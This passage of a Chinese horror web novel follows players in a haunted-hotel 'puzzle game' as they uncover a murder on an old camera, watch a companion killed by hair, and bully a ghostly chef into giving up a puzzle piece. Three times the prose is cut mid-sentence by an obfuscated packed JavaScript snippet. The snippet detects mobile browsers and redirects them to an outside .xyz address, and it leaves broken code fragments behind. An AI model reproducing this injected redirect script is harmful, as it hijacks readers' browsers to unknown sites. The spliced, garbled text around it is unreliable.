他痴痴地笑起来,甚至生出继续担惊受怕不如直接死掉的想法,性格里的敏感和悲观的一面全部冒出来。 一个容易受环境和他人情绪影响的人,就是这么讨厌。 画家这样批判着自己,盯着地上的血,整个人都有点痴痴的。 “天快黑了,我们需要尽快回房间。” 林昭月站起来,这话是对林小满说的。 屋内的人都看向她,南黎川哽咽着问:“陈哥的尸体怎么办?” “活人总比死人重要,明天一早再过来收拾吧。” 说着,林昭月看向餐厅的方向。 二十多分钟前路过那的时候,餐厅的灯还在亮着的,现在却已经熄灭。 林昭月没看到厨师的踪影,他不出来主动邀请客人用餐,也不会无休止地等待客人到来。 显然,哪怕是那些东西也会按时下班。 毕竟,酒店又不是他开的。 一道闪电照亮阴沉的天空,惊雷炸响。淅淅沥沥的雨珠落在游泳池里,“哒哒哒”的响声让人心慌。 酝酿已久的一场雨终于落下来。 不能再留了。 林昭月率先离开房间,其他人连忙跟出来。 一行人回到主楼,跨出电梯的时候,林昭月叫住画家,说道:“我有事想请你帮忙,是关于摄影方面的。”她指着挂在画家斜挎在腰间的相机,“你能来我房间一趟吗?” 她对相机实在不了解,只能求助专业人士了。 画家至少是半个专业人士。 画家下意识看向韩东,韩东对他点点头:“你去吧。现在时间还早,不过得尽快回来,不要耽搁太久。” 画家和林昭月两人一起走进401房间,林昭月没有关门,卸下斜挎包,从里面取出裹着层层衣物的相机。 一把它剥出来,屋内立刻降温好几度。 画家先是一个哆嗦,浑身颤抖两下,接着连声打了好几个喷嚏。 “这是什么?” 相机在林昭月的包里待的时间有些久,外层的冰已经彻底化掉。也是这时候,林昭月才发现她的包里的东西已经全部被弄湿,像是纸巾之类的已经完全无法使用,老式打火器出现故障,打不燃火了。 包的底部濡湿一片,伸手去摸能摸到一兜水。 “相机,”林昭月说:“里面应该有重要的东西,但不知道还能不能使用。” 画家摆弄相机,说道:“这是很老的机型,一进水就完蛋。我把内存卡取出来,放在我的相机里看能否读取内容。若是卡也被泡坏的话,我就没办法了。这好像是一张CF卡,也许还有机型识别不了的问题。真的遇上的话,我一样处理不了。总之,先试试吧。” 可能是他们一行人足够倒霉,总算是否极泰来。画家说的情况,一样也没有发生。内存卡在他的机子里读取成功,里面存储的多数是照片。拍摄的主角很多,其中竟然有小姐姐的照片,但都不是林昭月觉得有用的,直到画家说:“有个视频,我调出来看一看。” 画家的手脚很快,不等林昭月答应,相机里的画面已经变得一片漆黑。 “现在是吉时,此处是吉地,你我都是吉利的人。天时地利人和,你们就不要犹豫了!” 一道声音忽然响起,摆弄相机的画家吓了一跳。要不是今昨两日连连受到惊吓,耐受度变高,恐怕手里的相机已经掉落在地上,变成电子残渣。 他把相机放在桌子上,退后一些。 画面上要是出现什么诡异的东西,他离林昭月近一点,心中胆气也足。 斑驳的雪花纹路占据整个画面,雪花消失之后,画面也没有变得清晰多少。实在是拍摄时的光线太暗,而且画家一看就知道,这是偷拍的。既然是偷拍,距离一般也不会太近,画面就更加模糊。 这毕竟是一台老机子。 一个白胡子老头首先出现在画面中,他身上穿的衣服不知道是什么材质的,但衬得他仙风道骨,颇有几分世外高人的感觉。 “再犹豫下去,你们祈求的升官、发财、阖家平安都是一场空。” 这声音越听越熟悉,林昭月和林小满对视一眼,不须言语,从交换的眼神中,她们可以确定,这个声音的确和骷髅的声音一模一样。 这一点上,林昭月比起自己的听觉,更相信林小满的。 失去语言功能,让她的听觉和视觉乃至嗅觉,都比一般人要灵敏。 那具骷髅还真是大师,正的邪的就不一定了。 镜头偏转,对准游泳池旁的三人。虽然夜色太浓,看不清他们的面容,但从身段、发型来判断,应该是三个男人。 三人齐心合力,按住地上正在奋力挣扎的第四人。 这个人身上穿着一套酒店的工作服,花白的头发披散着,模样颇为狼狈。虽然看不清面貌,但可以确定是个女人。六七十岁的年纪,岁数有可能更大一些,体型正常。她嘴里似乎塞着东西,只能发出“唔唔唔”的声响。 三个男人没有说话,但显然是已经下定决心。正要把人丢进泳池里,大师忽然叫停:“等等!” 林昭月还以为他良心发现,结果他上前一步,蹲在地上,抓住被害者手上的镯子往外拔。被害者想要反抗,被大师唤三人相帮。 “这只镯子是她早逝的丈夫送给她的,对她来说意义重大。取下这只镯子,万一她日后作祟也有个镇压之物。好了!” 生拔一只银镯子,女人的手背勒出红肿的印子。 林昭月通过银镯子,认出被害人的身份。 她就是泳池底的那一具女尸。 三个男人一齐动手,把女尸的头按进游泳池里。女尸一开始还剧烈的挣扎,但很快手脚就软下来。等她彻底没有声息,那三人解开绳子,取出堵嘴的东西,把她扔进游泳池里。 六分三秒的视频到此结束。 画家目睹一场凶案,整个人都有些傻眼,平复一会才回过神来。这时外面已经响起“噼里啪啦”的声音,雨越下越大了。 林昭月说:“谢谢你,你该回房间了。相机放在我这里,你带走它有可能遇到危险。” 画家点点头,向门口走去。没走几步,回过头来,小声说:“小姐姐追我们的时候,我摔跤了。” 林昭月亲眼看见他摔跤的过程,静静听着他继续往下说。果然,画家继续道:“但我不是被门槛绊倒的。我绝对没有弄错!那时候,韩哥有意绊了我一下。” 林昭月并不惊讶,平静地说:“陈哥已死,南黎川今夜独自住在403房间。我建议你和他住一晚上,别回402。” 画家面露犹豫之色,相比大少爷南黎川,自然是资深玩家韩东更有应对夜晚的资本。 他想。当时的情况,换位而处,他可能也会做和韩东一样的决定。 这样一想,他心中的愤慨就平息了。 画家走出房间时,忍不住对林小满说:“你运气真好……” 林小满不知道该说什么,谦虚一下?那和炫耀有什么差别,她自己也觉得自己运气好,竟然能在拼图游戏里遇到林昭月。 画家说:“你一定能回家,我却不知道能活多久。真羡慕啊!我愿意用声音换取一条命,可惜不是我想换就能换的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471202|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林小满依旧不知道该说什么。 画家其实不需要她回答,转身离去。 让她最为在意的语言障碍,在拼图游戏里似乎都不是缺点了。 而这一切都是姐姐带给她的。 林小满关上门,走到床边。 林昭月已经上床,问道:“他说什么了?” 林小满没有回答,她从包里取出一沓彩色的正方形纸张,又变戏法似的拿出一支笔,写道:“姐姐,我的手写板被踩坏了。” 林昭月回忆片刻,问道:“是高庆晴踩坏的吗?” 林小满点头,高庆晴不是故意的。双方在转角处相撞,她爬起来的时候没注意到掉在地上的手写板。 “姐姐,你会折千纸鹤吗?” 林昭月这才反应过来,林小满用来书写的纸张是折叠千纸鹤的纸。她以前有没有折过千纸鹤已经没有印象,但妹妹林沉雪是折过的。 初中以前,折999只千纸鹤许愿必灵,属于时代的潮流。小雪曾折千纸鹤向她表白,说要做一辈子的姐妹,想到这里,林昭月的神情变得柔和起来。 “不会,你教教我吧。” 两个人凑在一起折千纸鹤,不一会儿就折出好几只振翅高飞的鹤。 林小满在纸上写:“骷髅为什么要杀人?” “或许是女尸身上有什么让骷髅想要之物,也可能是她知道骷髅的秘密。总之,骷髅谋/杀在先,女尸杀它是因果报应。” 从道理上讲,林昭月站在正义的一边,就是不知道女尸讲不讲情理。 她觉得有点悬。 “芳华工作室的一名摄影师不知道大半夜的在外面拍什么,但正好拍到‘杀人现场’。不过,从工作室里的血字判断,这名摄影师没有把视频公之于众,而是用它来换取钱财或别的什么。” 和谁换? 自然是骷髅。 结果害死所有同事。 从这一点上看,女尸杀人可不管你是不是无辜。 林昭月预料,今夜两人不会有危险。十点多钟的时候,就让林小满睡觉。她自己则闭上眼睛小憩,没想到竟然真的睡着了。 半夜,玻璃破裂的脆响将她惊醒。 窗外,轰隆隆的雷声闷响,像是在耳边炸开的一样。 林昭月掀开被子走到窗前,一把拉开窗帘。 一道闪电穿过厚重的云层,照亮整个酒店。林昭月瞳孔放大,她看到一个比一般男性单薄一些的身躯被一根绳子捆着双手,从402拖拽出来。所过之处,留下一道血痕。 那是画家。 他被倒吊在空中,柔顺的长发飘散着,上面沾满血污。直到此时,林昭月才看清楚,捆住他双手,穿过他肩胛骨,绑住他双腿,令他完全无法挣脱的,并不是绳子,而是一股股的花白发丝。 倒吊的姿势让头部充血,一直闭着眼睛的画家睁开眼,迷茫的神情逐渐变成惊恐,口中爆发出凄厉的惨叫,他哀号道:“韩哥、韩哥,救救我!你不能不管我……” “扑哧——” 钢针一般的发丝穿透他小腹,破开背脊冲出躯体。 “我不该照你说的做啊啊啊……” 大雨让他的话语模模糊糊,哪怕是林小满也只断断续续听到几个字。 一丛丛的发丝扎进画家的右胸,他的声音变得虚弱:“呜呜呜是你害我……” 这时候,画家已经不像是一个人,而是一个人形的刺猬。 花白的发丝刺进左胸,在背脊上劈开一个洞。一颗还在跳动的心脏在林昭月的注视下被扎穿,瞬间停止跳动。 同时,画家的头往下一垂,就这么挂在胸膛上,不动了。 直到屠杀落幕,402都无丝毫动静。 15.圣母垂泪(十五) 清晨,外面响起敲门声。 “林小姐,起床了吗?” 外面敲门的和昨天早上一样,依旧是韩东。 天空中阴云已散,现在才六点钟,太阳已经探出云层。 刚拉开窗帘,金色的光芒就迫不及待地钻进房间里,却依旧驱不散冷寂和潮湿。 “有个新情况,高小姐坚持等你到场才肯告诉大家是怎么一回事。” 林昭月用一根绳子把老式银手镯挂在脖子上。这才打开房门,韩东身上的迷彩服不知道是什么材质的,两夜过去不见一丝褶皱。不仅身上穿的衣物干净整洁,他的头发也梳得整整齐齐,只看外表的话,一般人很难对他产生恶感。 平时的相处中,他说话做事彬彬有礼,很容易让人信任、依赖。 林昭月从不以外表评判一个人,问道:“什么方面的新情况?” “哎……刘小姐可能不行了。” 韩东哀叹一声。 林昭月打着哈欠说:“昨夜,画家死了。” 她语气里不带质疑之意,但说出来的话让韩东停下脚步。 “我仿佛听到,他说自己是被你所害。” “绝没有这回事,”韩东眉头微蹙,解释道:“昨夜的雨太大,402到处都在渗水,我们把能用来接水器皿全部用上了,但还是有一些漏水点难以处理。画家站在桌面上,用浴袍擦拭墙缝渗水时,身上弄湿的地方太多。等我发现不对劲的时候,头发已经勒住他的脖子。我想救他,也无计可施……” 401到404只有几步路,韩东的话,林昭月听过就算,不管真相如何都已死无对证。走进404房间,她首先留意到的是墙壁。 404的床尾的一面墙和天花板满是黑色的印记,地板上堆积皱巴巴的茎块。细小的粉尘飘浮在空气里,在阳光的照射下无所遁形。她的鼻子很不舒服,一进屋就连打几个喷嚏。 高庆晴见她这样,连忙将窗户打开通风。接着快步迎上来,像是找到主心骨一般,边走边说:“昨天回房间的时候,我就发现屋里的蘑菇全部都枯萎了。” 林昭月说:“这种蘑菇名叫疱疹菇。” “疱疹菇……” 没有任何怀疑,高庆晴便接受这个名称,只能说这个名字实在是太贴切了。她继续道:“昨天夜里,我一直咳嗽。”她打开一团揉成团的纸巾,里面是黑色的黏液。 “这些是我咳出来的,我怀疑我的肺可能被蘑菇的孢子感染了。咳咳咳……” 南黎川捂住口鼻,资本家的伪装技巧让他艰难地收敛住嫌弃之色。好在,高庆晴根本没注意到他的神情,继续说:“昨晚我回来的时候,刘姐一只眼已经坏掉了。” 林昭月走到床边,刘悦肩膀上的伤早就包扎过,用的是撕碎的床单。表面干涸的血迹,让她怀疑底下的伤口有没有成功止血。 更让人在意的是刘悦的左眼,眼皮粘连在一起,扭曲成旋涡状,中间插/着一株枯萎的疱疹菇。 高庆晴说:“她发烧了。从昨夜开始,一直没有清醒过。” 林昭月已经知道原委,404的疱疹菇长得最好。可能是受水汽和血液的双重滋养,昨夜已经超过三米,顶住天花板。晚上,高庆晴和刘悦吸入的孢子最多,相较之下,受伤的刘悦又比高庆晴吸入得多。她毕竟一直待在房中,白天晚上都不曾离开。 控制疱疹菇的是骷髅,阴沉的天气是孢子发育的助力。 林昭月“杀死”骷髅的时候,疱疹菇正要从刘悦的七窍钻出来,但骷髅的死让一切停止,疱疹菇枯萎。 刘悦因此留下一条小命。 南黎川住403,昨夜回房时疱疹菇同样全部枯萎。他听完总觉得喉咙也有些不舒服,像是里头哽着痰一般,可是看着高庆晴说不了几句又开始咳嗽的样子,就觉得自己的不适是心理因素居多。 高庆晴几乎要把肺咳出来,心中害怕地问:“我会不会死?” 林昭月说:“你的情况不用担心,我有信心暂时不会恶化。等离开副本,回到现实世界,你的肺会恢复如初。” 韩东再次申明:“副本里的伤不会带到现实世界,只要我们尽快通过,你不会有事的。” 高庆晴看向林昭月,直到她点头神情才放松下来。 林昭月随即问她,昨夜房间有没有渗水。 高庆晴说“有的”,南黎川也说“有”,两人一前一后开口:“渗进来的水都被枯萎的疱疹菇吸收了。” 疱疹菇竟还有如此妙用,可能是骷髅和女尸的对立立场的缘故,能力互相克制。不过,双方倒是在某些方面意外的和谐的统一——他们都在屠杀玩家。 几人交流的声音吵醒昏睡一夜刘悦,她刚一醒来,差一点又痛晕过去。只觉得胸口像是压着一块大石头,仅仅只是喘气都让她想要尖叫,恨不得立刻死掉。 “痛痛痛……” 刘悦眼前一阵阵泛白,但忍耐片刻,仅剩的一只眼睛终于看清围在床边的是什么人。原来我没有回家,这里依旧是拼图游戏。 “求你们……” 刘悦用一双含泪的眼睛看着床前的几人,喊道:“求求你们救救我。” 求生欲爆发出来,她发出的声音足以让房间里每一个人听得清清楚楚。 高庆晴蹲下来,咳嗽几声说:“刘姐,只有通关,才能得救。你不要喊叫,好好保存体力。” 已经找到两张拼图碎片的事情,她是知道的,但这是花费两日两夜的成果,她的状况还能等到两天之后的胜利吗? 这胜利又是否会真的到来呢? 刘悦沉默了。 林昭月取出包里的发簪,问她:“这个你还要吗?” 这根发簪本就是刘悦的,尖端锐利无比,和刀具没什么区别。很少有人会用无鞘的锐器装点头发,用来防身还差不多。 这根发簪,本来是刘悦用来结束生命的。可她还没下定决心,就已经来到这个鬼地方,向死之心顷刻间被粉碎得一干二净。 “不……” 不要,她不要死,她要活。 刘悦剧烈地咳嗽起来,嘴角流出黑色的黏液。那是孢子原液和蘑菇碎片的混合物,一波波袭来的痛楚让她因发烧而陀红一片的脸,重新变得惨白、灰败。 高庆晴劝她,“你睡一会儿吧。” 睡着的时候,感觉不到疼痛。 刘悦知道自己不能睡,以她现在的情况睡着可能就再也醒不过来了。 可她的坚持会有用吗? 刘悦看着林昭月,满眼希冀之色。 林昭月说:“距离通关副本已经不远了。” 刘悦嘴角勾起,煞白的脸上露出一个满怀希望的笑容。 身体很痛,但她会忍到回归现实世界的那一刻。没有谁比她更会忍!二十年以来,她忍老公、忍公婆、忍孩子、忍无休无止的家务、忍没完没了的付出。 这些都已经忍过来,区区身体的痛苦算什么? 不回到现实世界给所有对不起她的人两巴掌,她死不瞑目。 离开404房间,林昭月径直下楼。小满没有手写板,只能比画两下,但有时候不用语言,在意你的人也知道你想说什么。 “我知道食堂还没开餐,下楼是有别的事情要做。” 林昭月把发簪递给小满:“它现在是无主之物,你拿着吧。可以用来防身。” 林小满接过来。 “叮咚”一声,电梯门打开,林昭月绕着主楼的墙根行走,来到主楼侧面。南黎川和高庆晴跟着她,连一句接下来做什么都没问。 见已经离开韩东的视线,南黎川说:“昨天回房不久,画家来403找我,但还没说事就被韩东喊走,再没过来。” 虽然没看到韩东劝画家的场景,但林昭月可以猜到他会说些什么。比起自己都需要保护的南黎川,资深玩家韩东自然优势更多。 画家最后做出这样的决定并不奇怪。 没走几步,林昭月便来到404房间的正下方。 前台工作人员的尸体依旧在原地,他内里就是一包水,砸在地上时就像一只大号水球破裂,只剩下一层皮。经过一天的太阳暴晒,一夜的暴雨浸泡,看起来像是晒干之后,又被泡发的木耳,颜色也和木耳类似。 果然没人清理尸体,毕竟连清洁工都无了。 等等,清洁工好像不负责主楼以外的清洁。 林昭月蹲下来,把前台工作人员的皮卷起来,手感一言难尽,黏糊糊的像是直接触摸糨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477674|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊,糨糊没有的柔软和韧劲又让她联想到某些无壳爱分泌黏液的软体动物。拎在手里,比想象中要轻。 清洁工的尸体就比较麻烦,不借助现代器械,谁也挪开压在他身上的水泥字块。好在他的体型够大,林昭月努力之下,依旧弄下来一截残肢。 这么忙活着一通,餐厅已经开门了。她走进餐厅的时候,厨师正好抱出今天的食材,听到脚步声,没什么真情实意地招呼道:“欢迎光临。” 回应他的是丢到案板上的两卷大木耳,厨师油光满面的脸上出现一道惊疑的褶皱,高声说:“客人,你这是什么意思?弄脏案板是对食材的一种污染,我觉得自己受到了冒犯……” “这一卷是你的同事,”林昭月指向袖珍的第二卷:“这一卷,也是你的同事。他们都是我杀的。” 厨师高昂的声音骤然降低,温柔地说:“客人不是故意的,我应该有服务者的胸襟。” 走进餐厅的韩东亲眼看见厨师变脸,南黎川和高庆晴还没有什么感觉,资深玩家韩东却是忍不住揉眼睛,还下意识往窗外看去。 今天的太阳是从东边出来的,没错。 可眼前的一幕又是怎么回事呢? 他通关过两次副本,但还是第一次看到玩家威胁那种东西的场面,还威胁成功了。 那些让他恐惧到日夜难眠的东西,此刻变得不那么可怕了。 林昭月将破损的工作室传单丢到案板上,继续说:“那位时常出现在餐厅的旗袍女士,此刻已经被工作室里的东西撕成碎片了。” 传单破损的那一刻,就已经变成平常的纸张,失去神奇的能力。 这让小姐姐的生路断绝,结局自不必说。 厨师颤声问:“客人到底有什么要求,可以直说。” 林昭月说:“今天的早饭里,一定要有拼图碎片。” “这个……我办不到。” “哦,”林昭月淡淡地道:“这一餐办不到,我保证你不会再有第二餐的食材。到时候,我会以你旷工的理由投诉你。” 这段威胁,反而让厨师恢复平静,暗带得意地驱赶道:“我不明白你说什么?您坐一会,食物马上就能做好。” “你的食材是从便利店里的骷髅那里获得的吧?” 厨师眼神闪烁,“我没听说这个人,也从未在酒店里见过什么骷髅。” “哦,那骷髅法师藏身的地方,为什么会满是油污呢?难不成它每天偷偷从你脸上刮下油,涂抹在地上、疱疹菇上、货架上。那些油分明是你常出入便利店,不小心留下的,正巧便利店里有冰箱,食材都是保存在里面的吧?” 林小满站在一旁,听得两眼瞪圆。 明明她和姐姐一直在一起,没有片刻分开过,对便利店也有“怎么油腻腻的”印象,但丝毫没把油渍、冰箱和厨师、食材联系在一起。 这就是人和人之间的差别吧。 林昭月不给厨师说话的机会,继续道:“冰箱被毁的话,足以造成麻烦,但你似乎并不害怕被投诉。难道是觉得我投诉无门吗?我和你说,我和池底那一位的关系亲密得超乎你的想象。” 厨师眸光闪烁,面带惊疑。心里却是一个字都不信,暗自冷笑。 你和那位关系好? 呵呵。 林昭月拉开外套,展示脖子上挂着的银镯子。 厨师不呵呵,厨师大惊:“骷髅法师也是你杀的?” “看来你今早已经去过便利店了。” 林昭月微微一笑,不问反答:“池底那位知道你和她的仇人来往密切吗?” 厨师扑通一声跪下来,往日的高傲荡然无存,顶着一张谄媚到滴油的脸,竭力收起口中的利齿,仰着头乞求道:“只要你保守这个秘密,我什么都答应你。” 林昭月摊开手:“把拼图碎片交出来。” “不是我不交,”厨师说:“必须得所有活着的人类到场,一起用餐。拼图的碎片才会出现。” 原来是这样!因为刘悦一直在房间里,没有下楼吃饭,所以他们一顿顿吃光所有的肉丸子,但始终不见拼图碎片的影子。 韩东站起来,说道:“我去把刘悦抱下来。” 南黎川主动说:“我和你一起。” 16.圣母垂泪(十六) “尊贵的客人,这一份餐点是用铁板煎熟的。保证外焦里嫩,美味可口。请您一定要品尝一下,要是不喜欢也没关系。我可以再做,这顿饭一定让您吃得满意吃得高兴。” 厨师围在林昭月的身边,殷勤得像是一个小命被旁人攥在手里的小可怜儿。 南黎川闻到油脂的香味,忍不住吞咽口水。任谁顿顿都吃仅有肉腥味的水煮丸子,都会在煎肉面前出现生/理/反/应,他记恨厨师威逼自己吃肉,故意说:“再怎么精心烹饪,也改变不了食材的来路不明。你敢说清楚,这是什么肉吗?” 正要拿起筷子的高庆晴:“……” 虽然但是,厨师真的说出来,对咱们有什么好处吗? 先前的肉已经下肚,上赶着找恶心又何必呢。 “这有什么不敢说的,”厨师说:“你们这几顿吃的都是合成肉,里面不含一丁点肉。” 玩家们:“……” 感情全是科技和狠活,这到底有什么值得骄傲的??? 南黎川仍不死心:“吃到牙齿又怎么说?” “骨渣而已,一点障眼法,”厨师说:“合成肉里面虽没有肉,但有骨粉。放心,都是动物骨头。” 林昭月品尝一口,别说味道还不错。她始终是需要补充体力的,科技和狠活总比肉的来源不明要好。 林小满被她影响,自然也不介意,闻言点点头。 林昭月就把自己的这一份推到她的面前,打定主意要奉承贵客的厨师,立刻又煎一份新的送上来。 南黎川立刻要求,他也要吃煎的肉饼。 其嘴脸让韩东忍不住看他一眼,又看他一眼。面对低头者,主动出击,步步逼迫,无耻。 韩东说:“也请给我一份,谢谢。” 厨师:“……” 用餐期间,林昭月和几人分享昨夜从偷拍视频中获得的信息。韩东并不惊讶,画家亲眼看过视频,回房之后肯定会告诉韩东。 得知水中女尸才是图纸中的女人,南黎川和高庆晴的神情都非常难看。一时之间,连手中的餐具都凝滞不动,悬在半空中。 没有人有多余的心力鼓励他们打起精神。 可能是糟糕的事情遇到得太多,他们很快缓过来,继续用餐。 不多时,林小满便从自己的一份肉饼中,吃到拼图碎片。 四张拼图碎片,已经得到三张。 刘悦侧躺在桌面上,由高庆晴喂着,喝下两口汤。 她并非一直没有进食,因为有低血糖的毛病,她包里的食物比所有玩家都多。再想支持几天是不可能的,但现在还不至于饿肚子。 可两天以来,她一口热食也没进肚,此刻喝着汤,竟然觉得味道还不错。 刘悦也知道,先前的高庆晴他们喝的,可不是如此正常的汤。心中不免感慨,也不知道是她待在房间里寸步难行难受,还是像高庆晴一样直面那些东西更难受。 她自嘲道:“我也算是躺着通关的第一人了。” 高庆晴逗趣:“承你吉言。” 只差最后一张碎片,眼见通关有望,韩东心情稍微放松几分,说道:“从开局看,你是个倒霉蛋,可从结果来论,你运气很好。” 刘悦毕竟还活着,死去的人却也是真的死透了。 刘悦没办法反驳这话,汤勺再送到嘴边,她摇头说喝不下了。 高庆晴问:“要不要送你回房间?” 刘悦连忙说:“不要!” 比无尽的等待更让人痛苦的,是独自一人待在房间里,等待一个结果。 这会让每一分每一秒都变得无比漫长。 比起回房间,她宁可和厨师待在一起。 那种东西固然可怕,但好歹能动会说话,而且看他的样子,已经被林昭月给吓怕了,绝不敢伤害她。 厨师送他们出门的时候,讨好的请求道:“尊敬的客人,您拿走拼图,可不能再杀我了!” 林昭月说:“不会的。” 她又不是什么杀鬼狂魔。 一行人刚走出餐厅,就听厨师惨叫一声。回头去看,只见厨师张大嘴巴,露出里面的獠牙,却是只能发出无意义的哀号。他的身体鼓起一个个大包,肚子上的包鼓得最大,皮肤因为拉扯而变形,凸起部位越来越薄。 “嘭——” 厨师的肚子炸开,大量的水从里面涌出来,形成一个水泊。失去支撑的皮像是破掉的气球,掉在水泊里。 厨师被干掉了。 林昭月:“……” 她看向游泳池,难道是刚才她威胁厨师的声音太大吗? 女尸听到了? 我不杀伯仁,伯仁却因我而死。 哎…… 又不是我杀的完全不用愧疚嘛。 “二五仔没有好下场,”林昭月心情没有受半分影响,推开玻璃门回到厨房,对着厨师的尸体说道:“做人做那些东西都要选对阵营才行啊。” 已经死透的厨师自然听不到她的劝告。 然后,她蹲下来,捡起锋利的厨师刀。 林昭月眼馋这一把刀很久了。 这一幕被结伴下楼的两名前台工作人员撞见,空洞的眼睛里倒映这一幕,她们双手交握在一起,停住脚步站在餐厅外面,不动了。 林昭月推门走出来,审问道:“你们不在大堂待着,下楼干什么?” 前台工作人员一共三名,有一名林昭月已经“交过手”。他们是酒店里最弱的存在,凭借5点法力和手里的刀,一刀一个,林昭月办不到,但态度上肯定是居高临下,不带害怕的。 一名前台工作人员张开毫无血色的嘴唇,回答:“例行巡视。” 她说话的时候,嘴角依旧上扬,露出牙齿。以致表情僵硬,像是提线的木偶。 另一人看着林昭月,眼神没有焦距,她说:“我的同事、客房清洁工、客人、便利店老板都不见了。厨师,也被你杀了。” 一模一样的表情让两名长相迥异的前台好似一对双胞胎,阳光完全无法驱散她们身上浓重的怪异感。 林昭月谨防这两个暴起伤人,但知道正因如此绝不能露怯。不进不退,反而逼近她们,“那又如何?” 厨师不是她杀的,但林昭月不会特地解释这个。 她每走一步,这两个就动作一致躯体震动一排,林昭月不禁心中犯起嘀咕,难道她们有什么别的能力,一加一的效果不等于二? 她正要停下脚步,距离她不足两米的前台嘭一声炸开,淡黄色的水喷溅而至,洒满她全身。 一时间腥气扑鼻,饶是林昭月也愣住了。 怎么回事? 韩东检查前台的皮,从皮囊炸开的位置得出一个荒谬的结论。 “两个都是肝胆破裂,她们被你吓死了。” 林昭月:“……” 她真的看不出前台在害怕,倒是林小满几人脸都被前台吓白了。 林昭月轻咳一声说:“先办正事吧。” 刘悦看着他们离去,直到林昭月的背影消失在视线里,这才移开目光。原本就缩在一边的周航,此刻已经躲进放碗碟的柜子里,把柜门拉上,只有门板些微的颤动,证明他的存在。 可能自己的运气真的不错吧。 现在连餐厅里可能存在的威胁都消失了…… 摸着螺旋状变形的一只眼睛,刘悦不敢拔出里面枯萎的蘑菇,心里祈祷着:希望我的幸运能持续下去…… 另一边,林昭月一行人正在为获得第四张碎片做准备。 林昭月有银镯子在身上,不用害怕女尸,但也需要把她捞起来,送到房间里。 于是提议由自己带着林小满一起去寻找捞尸工具,另外两人则由韩东带着,把昨天弄脏的房间打扫干净,恢复到图纸里的陈设。 包括韩东在内,没有人有异议。 现在分开行动,已经没有问题。 韩东神色复杂地说:“毕竟,只要不到泳池边作死,白天我们可以在酒店里横着走了。” 他觉得自己好像没睡醒。前两个副本,他不是玩家里的指挥者,几乎是一直被那些东西追着跑,但更资深一点的玩家,也一样要东躲西藏,只是姿态从容一些。 这个副本却被一个新人杀得只剩下池底女尸。 这不是一个逃生游戏吗? 原来通关副本的正确方式竟是搏杀吗? 他开始怀疑自己对拼图游戏的认知,也开始怀疑自己的智商。 难不成是他被别的资深玩家带偏了??? 林昭月不知道韩东内心复杂的想法,知道也不在意。她的第一个目的地是便利店,然后是泳装店。 假日酒店应该距离大海不远,泳装店里竟然有渔网售卖。这让两人收获颇丰,还找到潜水镜、呼吸管等简易的用品。 林昭月是不想下水的,但她总觉得想用工具把女尸请上来,恐怕不太容易。 带着这些东西,她们和另外三人在主楼的下面会合。 这一片的游泳池都是清理过的,水波轻晃,澄澈无比。池水如一整块剔透的蓝宝石,阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483106|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光穿透水面,在池底织出细碎的金网。 与拼图图纸上的泳池,完全一致。 林昭月绕着泳池行走,池中始终平静,未见涟漪。她尝试着打水,用的还是昨天的水桶,连舀起来数桶,都泼在草坪里,但女尸始终没有现身相见。 林昭月只能猜测,是不是因为银镯子,女尸才不来的。她让南黎川当诱饵,南黎川听到她的要求脸色倒也微微一变,但只思虑几秒就点头同意,没有让她多费口舌。 可惜,事情和她想象得不一样,不仅是南黎川没让女尸动容,剩下几位鲜美的活人们也没有能打动女尸的。 眼见太阳已经悬挂在头顶,时间来到中午。林昭月只能一横心,说道:“我下水……” 林小满拽着她的衣袖,力道大得令骨节泛白。 “这件事很危险,我有要求。” 不顾林小满的阻拦,林昭月继续说。 南黎川立刻表态,“等回到现实世界,我一定重金酬谢……” “不用,”林昭月一口拒绝,“我要求的是现在的事。一会儿,我要是能把尸体背进房间里,你们都要进来帮忙获取最后一片碎片,谁也不准掉链子,但小满不用进去。” 这一下,连韩东都对林小满充满羡慕了。 我怎么不是女的呢? 不过他就算性/转,恐怕也难以获得林昭月的青睐。 谁都知道,把女尸送进房间只是第一步,后面还要给她换衣服,梳头发……只是想象一下那一幕,就足以让人头皮发麻。可连第一步都无法完成的话,剩下的事情就算想要硬着头皮完成,就做不了。 “这是当然,”韩东没有异议。 南黎川连连点头,“应该的、应该的。” 高庆晴媚笑道:“姐姐看看我,长相不要卡得太死……” 林昭月:“我下水了。” 高庆晴:“……” 一时鼓起勇气的社恐,换来终身的自闭。 池水很凉,太阳完全晒不热它。双脚一进去,林昭月便是一个哆嗦,水到腰腹间的时候,她稍微活动一下,等身体适应温度,这才咬着呼吸管俯身入水,耳畔倏然寂静。 岸上玩家们说话的声音,完全消失不见。 